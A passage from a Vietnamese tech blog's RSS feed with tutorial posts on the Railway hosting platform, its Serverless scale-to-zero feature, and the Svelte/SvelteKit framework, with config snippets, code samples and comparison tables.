| Hobby | $5 credit/tháng | $5 credit/tháng |
| Pro | $20 base + usage | $0.10/GB |&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# $5 credit = chạy service nhỏ ~1 tháng
# Staging + Serverless = gần như free
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Usage limits: set hard limit để tránh overspend.&lt;/p&gt;
&lt;h2&gt;Cron&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;cron&quot;: {
    &quot;schedule&quot;: &quot;0 0 * * *&quot;,
    &quot;command&quot;: &quot;npm run daily-report&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc dùng CLI:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;railway cron create --schedule &quot;0 */6 * * *&quot; --command &quot;npm run sync&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Railway Agent (AI)&lt;/h2&gt;
&lt;p&gt;Railway tích hợp AI agent — chat với infrastructure:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;Deploy Postgres và kết nối với web API&quot;
→ Railway Agent tự động provision + config
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;railway agent &quot;Scale web-api to 3 replicas&quot;
railway agent &quot;Add Redis and connect to worker&quot;
railway agent &quot;Show me recent errors in production&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Use Cases&lt;/h2&gt;
&lt;h3&gt;Fullstack App&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Project
├── Next.js (frontend + API) — public
├── Postgres — private
├── Redis — private
└── Worker — background job
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Microservices&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Project
├── api-gateway — public
├── user-service — private
├── payment-service — private
├── notification-service — private
├── Postgres — private
└── Redis — private
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Staging + Production&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;railway environment create staging
# Deploy cùng code, database riêng
# Staging có Serverless = tiết kiệm
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng Railway?&lt;/h2&gt;
&lt;h3&gt;✅ Nên dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Backend API — Node, Python, Go, Rust, Docker&lt;/li&gt;
&lt;li&gt;Fullstack app — frontend + backend + database cùng project&lt;/li&gt;
&lt;li&gt;Microservices — private network mặc định&lt;/li&gt;
&lt;li&gt;Starter / MVP — deploy nhanh, không config infra&lt;/li&gt;
&lt;li&gt;Team nhỏ — không cần DevOps riêng&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Không nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Static site — Vercel/Cloudflare Pages rẻ hơn&lt;/li&gt;
&lt;li&gt;Enterprise compliance — cần self-hosted&lt;/li&gt;
&lt;li&gt;High-scale real-time — cần infra control nhiều hơn&lt;/li&gt;
&lt;li&gt;Budget cực thấp — free tier hạn chế&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Railway là PaaS hiện đại — deploy nhanh, database tích hợp, private network, giá theo usage.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Từ git push đến production: &amp;#x3C;5 phút
railway init
railway up
# → https://my-project.railway.app

# Thêm database: 1 click
railway add postgres
# → DATABASE_URL tự động inject
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| Tính năng | Railway | Heroku | Render |
|---|---|---|---|
| Deploy | Git push | Git push | Git push |
| Database | Built-in (5 loại) | Addon (trả thêm) | Built-in (2 loại) |
| Private network | ✅ Mặc định | ❌ | ✅ |
| Pricing | Usage-based | $7/tháng fixed | $7/tháng fixed |
| Serverless | ✅ 1 click | ❌ | ✅ |
| AI Agent | ✅ | ❌ | ❌ |&lt;/p&gt;
&lt;p&gt;Railway là lựa chọn tốt cho backend và fullstack app — đặc biệt khi cần database tích hợp và private network.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.railway.com/&quot;&gt;Railway Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.railway.com/develop/cli&quot;&gt;Railway CLI Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.railway.com/databases&quot;&gt;Railway Databases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.railway.com/deploy/private-networking&quot;&gt;Railway Private Networking&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.railway.com/develop/variables&quot;&gt;Railway Environment Variables&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.railway.com/deploy/cron&quot;&gt;Railway Cron Jobs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.railway.com/deploy/volumes&quot;&gt;Railway Volumes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Railway Serverless — Scale To Zero Cho Backend</title><link>https://dopana-blog.pages.dev/blog/railway-serverless-scale-to-zero-cho-backend</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/railway-serverless-scale-to-zero-cho-backend</guid><description>Railway Serverless tự động ngủ khi không dùng, wake khi có request. Giảm chi phí backend đến 90% cho staging, dev, và API ít traffic.</description><pubDate>Sun, 05 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Railway Serverless là tính năng tự động scale to zero — service ngủ khi không hoạt động, wake khi có request.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Không Serverless:  Service chạy 24/7 → trả tiền 24/7
Có Serverless:     Service ngủ khi idle → chỉ trả khi chạy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kết quả: giảm chi phí đến 90% cho staging, dev, API ít traffic.&lt;/p&gt;
&lt;h2&gt;Cách Hoạt Động&lt;/h2&gt;
&lt;p&gt;Railway phát hiện inactivity qua outbound traffic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Service chạy → 10 phút không có outbound packets → Ngủ
Service ngủ  → Có request từ internet/private network → Wake
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Outbound Traffic là gì?&lt;/h3&gt;
&lt;p&gt;Bất kỳ packet nào từ service ra ngoài:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Gọi API bên ngoài → outbound → service không ngủ
curl https://api.example.com

# Kết nối database → outbound → service không ngủ
psql -h db.railway.internal ...

# NTP sync → outbound → service không ngủ
# Telemetry (Next.js, Sentry, ...) → outbound → service không ngủ
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Inbound Traffic&lt;/h3&gt;
&lt;p&gt;Railway chỉ dùng outbound để detect inactivity. Request từ internet vào không tính là activity cho việc ngủ.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Inbound request → KHÔNG reset inactivity timer
Outbound request → CÓ reset inactivity timer
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Wake&lt;/h3&gt;
&lt;p&gt;Khi service ngủ, request đầu tiên sẽ wake nó. Có thể mất vài giây (cold boot).&lt;/p&gt;
&lt;h2&gt;Khi Nào Nên Dùng&lt;/h2&gt;
&lt;h3&gt;✅ Nên dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Staging / Preview — không cần chạy 24/7&lt;/li&gt;
&lt;li&gt;API ít traffic — vài request/ngày&lt;/li&gt;
&lt;li&gt;Bot / Cron job — chạy theo lịch&lt;/li&gt;
&lt;li&gt;Development — personal project, demo&lt;/li&gt;
&lt;li&gt;Background worker — không real-time&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Không nên&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Production API cần response nhanh — cold boot &gt;502&lt;/li&gt;
&lt;li&gt;WebSocket / real-time — cần kết nối liên tục&lt;/li&gt;
&lt;li&gt;Database — không support serverless (cần chạy 24/7)&lt;/li&gt;
&lt;li&gt;Service có cron job trong container — không chạy khi ngủ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Enable&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Railway Dashboard
Service → Settings → Deploy → Serverless → Toggle On
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Apply cho tất cả replicas. Có thể toggle bất kỳ lúc nào.&lt;/p&gt;
&lt;h2&gt;Cold Boot&lt;/h2&gt;
&lt;p&gt;Khi service ngủ, request đầu vào wake nó:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Request → Railway wake → Build/Start → Response
                ↓
          ~1-5 giây (tuỳ service size)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;502 Bad Gateway&lt;/h3&gt;
&lt;p&gt;Request đầu tiên đến service đang ngủ có thể trả về 502:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Client:   GET /api/data
Railway:  Service đang ngủ → wake
          Client nhận 502 (timeout chờ wake)
          Service wake xong → request tiếp theo OK
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Giải pháp: retry từ client.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;async function fetchWithRetry(url: string, retries = 3) {
  for (let i = 0; i &amp;#x3C; retries; i++) {
    try {
      const res = await fetch(url)
      if (res.ok) return res
    } catch (e) {
      if (i === retries - 1) throw e
      await new Promise(r =&gt; setTimeout(r, 1000 * (i + 1)))
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc dùng keep-alive ping để service không ngủ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Cron job ping mỗi 5 phút — service không bao giờ ngủ
*/5 * * * * curl https://my-service.railway.app/health
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cost Savings&lt;/h2&gt;
&lt;p&gt;| Scenario | Không Serverless | Có Serverless |
|---|---|---|
| Staging (chạy 24/7) | $5/ngày | ~$0.50/ngày |
| Dev API (100 req/ngày) | $3/ngày | ~$0.10/ngày |
| Production (10k req/ngày) | $5/ngày | $3/ngày (ít savings) |&lt;/p&gt;
&lt;p&gt;Càng ít traffic, savings càng lớn.&lt;/p&gt;
&lt;h2&gt;Keep Service Awake&lt;/h2&gt;
&lt;p&gt;Nếu muốn service không ngủ nhưng vẫn enable Serverless:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Ping internal network mỗi 5 phút
// Railway coi private network traffic là outbound
setInterval(async () =&gt; {
  await fetch(&apos;http://other-service.railway.internal/health&apos;)
}, 5 * 60 * 1000)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc disable Serverless nếu cần uptime 24/7.&lt;/p&gt;
&lt;h2&gt;Use Cases&lt;/h2&gt;
&lt;h3&gt;Staging Environment&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# railway.json
{
  &quot;environments&quot;: {
    &quot;production&quot;: {
      &quot;serverless&quot;: false
    },
    &quot;staging&quot;: {
      &quot;serverless&quot;: true
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Staging chỉ chạy khi dev push PR và test. Tiết kiệm ~80% chi phí staging.&lt;/p&gt;
&lt;h3&gt;Preview Deployments&lt;/h3&gt;
&lt;p&gt;Mỗi PR → preview deployment với Serverless. Chạy khi review, ngủ khi không ai dùng.&lt;/p&gt;
&lt;h3&gt;API Bot&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Telegram bot, Discord bot — chỉ chạy khi có message
# Serverless: ngủ khi không ai chat
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Cron Job&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Service chạy theo lịch, wake nhờ cron trigger
# Railway cron + Serverless: service wake, run, sleep
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Giới Hạn&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Slot consumption: Service ngủ vẫn chiếm slot infrastructure&lt;/li&gt;
&lt;li&gt;De-prioritized workload: Service ngủ có thể bị ưu tiên thấp hơn&lt;/li&gt;
&lt;li&gt;Rebuild cần thiết: Trường hợp remote, có thể cần rebuild để wake&lt;/li&gt;
&lt;li&gt;Cold boot delay: Request đầu có thể 502&lt;/li&gt;
&lt;li&gt;10 phút inactivity: Không config được threshold&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;So Sánh&lt;/h2&gt;
&lt;p&gt;| | Railway Serverless | AWS Lambda | Cloudflare Workers |
|---|---|---|---|
| Cold boot | ~1-5s | ~100-500ms | ~0ms (isolate) |
| Max timeout | Không giới hạn | 15 phút | 30s (free), 15 phút (paid) |
| Language | Any (Docker) | Node, Python, Java, Go... | JS/TS, Wasm |
| Persistent storage | ✅ Volumes | ❌ (EFS chậm) | ❌ (KV, R2) |
| State | Giữa các request | Stateless | Stateless |
| Pricing | RAM/CPU usage + egress | Request + duration | Request + CPU time |&lt;/p&gt;
&lt;p&gt;Railway Serverless phù hợp cho full backend service cần persistent storage, bất kỳ ngôn ngữ nào, không bị timeout — nhưng cold boot lâu hơn.&lt;/p&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Railway Serverless là giải pháp scale-to-zero đơn giản nhất — toggle một nút, không config, không code change.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Trước: trả $150/tháng cho staging chạy 24/7
# Sau: toggle Serverless → $15/tháng
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| Ưu điểm | Nhược điểm |
|---|---|
| Zero config — toggle 1 nút | Cold boot ~1-5s |
| Giảm cost 80-90% | Request đầu có thể 502 |
| Wake tự động | Không cho service real-time |
| Any language, any framework | 10 phút inactivity threshold fixed |
| Persistent volume | Vẫn chiếm slot |&lt;/p&gt;
&lt;p&gt;Serverless là tính năng tiết kiệm nhất cho staging, dev, và API ít traffic. Cho production traffic cao, không cần bật.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.railway.com/&quot;&gt;Railway Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.railway.com/deploy/serverless&quot;&gt;Railway Serverless Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.railway.com/deploy/overview&quot;&gt;Railway Deploy Overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.railway.com/develop/cli&quot;&gt;Railway CLI Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Svelte — Framework Compile-Time Cho Web App</title><link>https://dopana-blog.pages.dev/blog/svelte-framework-compile-time-cho-web-app</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/svelte-framework-compile-time-cho-web-app</guid><description>Svelte là framework compile-time — biến component thành JavaScript thuần ở build step. Không virtual DOM, bundle siêu nhỏ, reactive declarative.</description><pubDate>Sun, 05 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Svelte là framework UI khác biệt: nó compile component thành JavaScript thuần ở build time, không gửi runtime framework cho browser.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;React:    Component → JSX → React runtime → Virtual DOM → Real DOM
Svelte:   Component → Compiler → Vanilla JS → Real DOM (trực tiếp)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kết quả: bundle nhỏ hơn, nhanh hơn, không cần virtual DOM.&lt;/p&gt;
&lt;h2&gt;Tại Sao Svelte?&lt;/h2&gt;
&lt;h3&gt;Bundle Size&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# React + ReactDOM: ~40KB min+gzip
# Svelte: 0KB runtime (chỉ code bạn viết)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;App càng nhỏ, Svelte càng lợi thế. Một &quot;Hello World&quot; Svelte: ~2KB. React: ~40KB.&lt;/p&gt;
&lt;h3&gt;Performance&lt;/h3&gt;
&lt;p&gt;Không virtual DOM = không diff, không reconciliation. Svelte biết chính xác DOM nào cần update khi state thay đổi — vì compiler tính trước.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;React:  state change → diff VDOM → patch DOM
Svelte: state change → direct DOM update (compiler biết trước)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Component&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-svelte&quot;&gt;&amp;#x3C;!-- App.svelte --&gt;
&amp;#x3C;script&gt;
  let name = &apos;world&apos;
  let count = 0

  function increment() {
    count += 1
  }
&amp;#x3C;/script&gt;

&amp;#x3C;h1&gt;Hello {name}!&amp;#x3C;/h1&gt;
&amp;#x3C;p&gt;Count: {count}&amp;#x3C;/p&gt;
&amp;#x3C;button on:click={increment}&gt;+1&amp;#x3C;/button&gt;

&amp;#x3C;style&gt;
  h1 { color: purple; }
&amp;#x3C;/style&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;HTML, script, style trong một file. Scoped CSS mặc định.&lt;/p&gt;
&lt;h2&gt;Reactivity&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-svelte&quot;&gt;&amp;#x3C;script&gt;
  let count = 0

  // Reactive statement — chạy lại khi dependency thay đổi
  $: doubled = count * 2
  $: console.log(`Count is ${count}`)

  // Reactive block
  $: if (count &gt; 10) {
    console.log(&apos;Over 10!&apos;)
  }

  function increment() {
    count += 1  // Tự động reactive
  }
&amp;#x3C;/script&gt;

&amp;#x3C;p&gt;{count} × 2 = {doubled}&amp;#x3C;/p&gt;
&amp;#x3C;button on:click={increment}&gt;+&amp;#x3C;/button&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không &lt;code&gt;useState&lt;/code&gt;, không &lt;code&gt;useEffect&lt;/code&gt;, không dependency array. Gán biến = tự động reactive.&lt;/p&gt;
&lt;h2&gt;Props &amp;#x26; Events&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-svelte&quot;&gt;&amp;#x3C;!-- Child.svelte --&gt;
&amp;#x3C;script&gt;
  // Props — export để parent truyền vào
  export let title = &apos;Default title&apos;
  export let items = []

  // Dispatch event lên parent
  import { createEventDispatcher } from &apos;svelte&apos;
  const dispatch = createEventDispatcher()

  function handleClick(item) {
    dispatch(&apos;select&apos;, { item })
  }
&amp;#x3C;/script&gt;

&amp;#x3C;h2&gt;{title}&amp;#x3C;/h2&gt;
&amp;#x3C;ul&gt;
  {#each items as item (item.id)}
    &amp;#x3C;li on:click={() =&gt; handleClick(item)}&gt;{item.name}&amp;#x3C;/li&gt;
  {/each}
&amp;#x3C;/ul&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-svelte&quot;&gt;&amp;#x3C;!-- Parent.svelte --&gt;
&amp;#x3C;script&gt;
  import Child from &apos;./Child.svelte&apos;

  const items = [
    { id: 1, name: &apos;Svelte&apos; },
    { id: 2, name: &apos;SvelteKit&apos; },
  ]

  function onSelect(event) {
    console.log(&apos;Selected:&apos;, event.detail.item)
  }
&amp;#x3C;/script&gt;

&amp;#x3C;Child title=&quot;Frameworks&quot; {items} on:select={onSelect} /&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Logic Blocks&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-svelte&quot;&gt;{#if user.loggedIn}
  &amp;#x3C;p&gt;Welcome, {user.name}!&amp;#x3C;/p&gt;
  &amp;#x3C;button on:click={logout}&gt;Logout&amp;#x3C;/button&gt;
{:else}
  &amp;#x3C;button on:click={login}&gt;Login&amp;#x3C;/button&gt;
{/if}

{#each posts as post, i}
  &amp;#x3C;article&gt;
    &amp;#x3C;h3&gt;{i + 1}. {post.title}&amp;#x3C;/h3&gt;
    &amp;#x3C;p&gt;{post.excerpt}&amp;#x3C;/p&gt;
  &amp;#x3C;/article&gt;
{/each}

{#each items as item (item.id)}
  &amp;#x3C;!-- Keyed each — giống React key --&gt;
  &amp;#x3C;div&gt;{item.name}&amp;#x3C;/div&gt;
{/each}

{#await promise}
  &amp;#x3C;p&gt;Loading...&amp;#x3C;/p&gt;
{:then data}
  &amp;#x3C;p&gt;Data: {data}&amp;#x3C;/p&gt;
{:catch error}
  &amp;#x3C;p&gt;Error: {error.message}&amp;#x3C;/p&gt;
{/await}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Stores (State Management)&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-svelte&quot;&gt;// store.ts — Svelte store là observable
import { writable, derived } from &apos;svelte/store&apos;

export const count = writable(0)
export const doubled = derived(count, ($count) =&gt; $count * 2)

// Methods
export function increment() {
  count.update(n =&gt; n + 1)
}
export function reset() {
  count.set(0)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-svelte&quot;&gt;&amp;#x3C;script&gt;
  import { count, doubled, increment } from &apos;./store&apos;

  // Auto-subscribe — reactive
  // $ prefix = tự động subscribe/unsubscribe
&amp;#x3C;/script&gt;

&amp;#x3C;p&gt;Count: {$count}&amp;#x3C;/p&gt;
&amp;#x3C;p&gt;Doubled: {$doubled}&amp;#x3C;/p&gt;
&amp;#x3C;button on:click={increment}&gt;+&amp;#x3C;/button&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Transitions &amp;#x26; Animations&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-svelte&quot;&gt;&amp;#x3C;script&gt;
  import { fade, slide, fly, scale } from &apos;svelte/transition&apos;
  import { flip } from &apos;svelte/animate&apos;
  let visible = false
  let items = [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;]
&amp;#x3C;/script&gt;

&amp;#x3C;button on:click={() =&gt; visible = !visible}&gt;
  Toggle
&amp;#x3C;/button&gt;

{#if visible}
  &amp;#x3C;div transition:fade={{ duration: 300 }}&gt;
    Fade in/out
  &amp;#x3C;/div&gt;
  &amp;#x3C;div transition:slide&gt;
    Slide in/out
  &amp;#x3C;/div&gt;
  &amp;#x3C;div transition:fly={{ x: 200, duration: 500 }}&gt;
    Fly from right
  &amp;#x3C;/div&gt;
{/if}

&amp;#x3C;!-- Flip animation cho list --&gt;
{#each items as item (item)}
  &amp;#x3C;div animate:flip&gt;{item}&amp;#x3C;/div&gt;
{/each}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CSS transitions native — không cần thư viện animation.&lt;/p&gt;
&lt;h2&gt;SvelteKit (App Framework)&lt;/h2&gt;
&lt;p&gt;SvelteKit là Next.js của Svelte — fullstack framework:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm create svelte@latest my-app
cd my-app
npm install
npm run dev
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Routing&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-svelte&quot;&gt;&amp;#x3C;!-- src/routes/+page.svelte — trang chủ --&gt;
&amp;#x3C;h1&gt;Home&amp;#x3C;/h1&gt;

&amp;#x3C;!-- src/routes/blog/[slug]/+page.svelte — dynamic route --&gt;
&amp;#x3C;script&gt;
  import { page } from &apos;$app/stores&apos;
  export let data  // Từ load function
&amp;#x3C;/script&gt;

&amp;#x3C;h1&gt;{data.post.title}&amp;#x3C;/h1&gt;
&amp;#x3C;article&gt;{@html data.post.content}&amp;#x3C;/article&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Load Data&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// src/routes/blog/[slug]/+page.ts
export async function load({ params, fetch }) {
  const res = await fetch(`/api/posts/${params.slug}`)
  const post = await res.json()
  return { post }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Form Actions&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// src/routes/login/+page.server.ts
export const actions = {
  default: async ({ request }) =&gt; {
    const data = await request.formData()
    const email = data.get(&apos;email&apos;)
    const password = data.get(&apos;password&apos;)

    // Validate
    if (!email) return { error: &apos;Email required&apos; }

    // Login logic
    const user = await login(email, password)
    return { success: true }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-svelte&quot;&gt;&amp;#x3C;script&gt;
  import { enhance } from &apos;$app/forms&apos;
  export let form  // Server trả về
&amp;#x3C;/script&gt;

&amp;#x3C;form method=&quot;POST&quot; use:enhance&gt;
  &amp;#x3C;input name=&quot;email&quot; type=&quot;email&quot;&gt;
  &amp;#x3C;input name=&quot;password&quot; type=&quot;password&quot;&gt;
  &amp;#x3C;button type=&quot;submit&quot;&gt;Login&amp;#x3C;/button&gt;
&amp;#x3C;/form&gt;

{#if form?.error}
  &amp;#x3C;p class=&quot;error&quot;&gt;{form.error}&amp;#x3C;/p&gt;
{/if}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Svelte vs React&lt;/h2&gt;
&lt;p&gt;| | React | Svelte |
|---|---|---|
| Runtime | ~40KB | 0KB (compiled) |
| Virtual DOM | ✅ | ❌ (direct DOM) |
| State | &lt;code&gt;useState&lt;/code&gt;, &lt;code&gt;useReducer&lt;/code&gt; | &lt;code&gt;let&lt;/code&gt;, &lt;code&gt;$:&lt;/code&gt;, stores |
| Effect | &lt;code&gt;useEffect&lt;/code&gt; + deps | &lt;code&gt;$:&lt;/code&gt; reactive statements |
| Props | &lt;code&gt;props&lt;/code&gt; object | &lt;code&gt;export let&lt;/code&gt; |
| Events | Callback props | &lt;code&gt;createEventDispatcher&lt;/code&gt; |
| CSS | CSS-in-JS, modules | Scoped mặc định |
| Transition | React Transition Group, Framer | Built-in (fade, slide, fly) |
| Learning curve | Cao (JSX, hooks, deps) | Thấp (HTML + JS) |
| Bundle | App + React runtime | Chỉ code của bạn |&lt;/p&gt;
&lt;h3&gt;Khi nào dùng Svelte?&lt;/h3&gt;
&lt;p&gt;✅ Nên dùng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web app nhỏ-gọn — bundle size quan trọng&lt;/li&gt;
&lt;li&gt;Interactive UI — animation, transition nhiều&lt;/li&gt;
&lt;li&gt;Team mới học — Svelte dễ hơn React&lt;/li&gt;
&lt;li&gt;Embedded UI — bundle nhỏ = load nhanh&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;❌ Không nên:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ecosystem dependency — React ecosystem lớn hơn&lt;/li&gt;
&lt;li&gt;Team React chuyên — không cần đổi&lt;/li&gt;
&lt;li&gt;Job market — React jobs nhiều hơn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;Svelte đơn giản hóa web development bằng cách compile đi complexity.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-svelte&quot;&gt;&amp;#x3C;!-- Svelte: code = HTML + JS, framework xử lý phần còn lại --&gt;
&amp;#x3C;script&gt;
  let count = 0
&amp;#x3C;/script&gt;

&amp;#x3C;button on:click={() =&gt; count++}&gt;
  Clicked {count} {count === 1 ? &apos;time&apos; : &apos;times&apos;}
&amp;#x3C;/button&gt;

&amp;#x3C;style&gt;
  button { background: purple; color: white; }
&amp;#x3C;/style&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| Tính năng | Svelte | React |
|---|---|---|
| Bundle | ~2KB (Hello World) | ~40KB |
| Boilerplate | 0 (gán biến = state) | useState, useEffect |
| Scoped CSS | Mặc định | CSS-in-JS |
| Animation | Built-in | Thư viện |
| Compile time | ✅ | ❌ |
| Runtime | 0KB | ~40KB |&lt;/p&gt;
&lt;p&gt;Svelte không phải &quot;React killer&quot; — nó là alternative cho những ai muốn ít abstraction hơn, bundle nhỏ hơn, và code gần với HTML thuần hơn.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://svelte.dev/docs&quot;&gt;Svelte Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://svelte.dev/tutorial&quot;&gt;Svelte Tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://svelte.dev/docs/kit&quot;&gt;SvelteKit Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://svelte.dev/docs/svelte-store&quot;&gt;Svelte Stores&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://svelte.dev/docs/svelte-transition&quot;&gt;Svelte Transitions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://svelte.dev/playground&quot;&gt;Svelte Playground&lt;/a&gt;&lt;/li&gt;
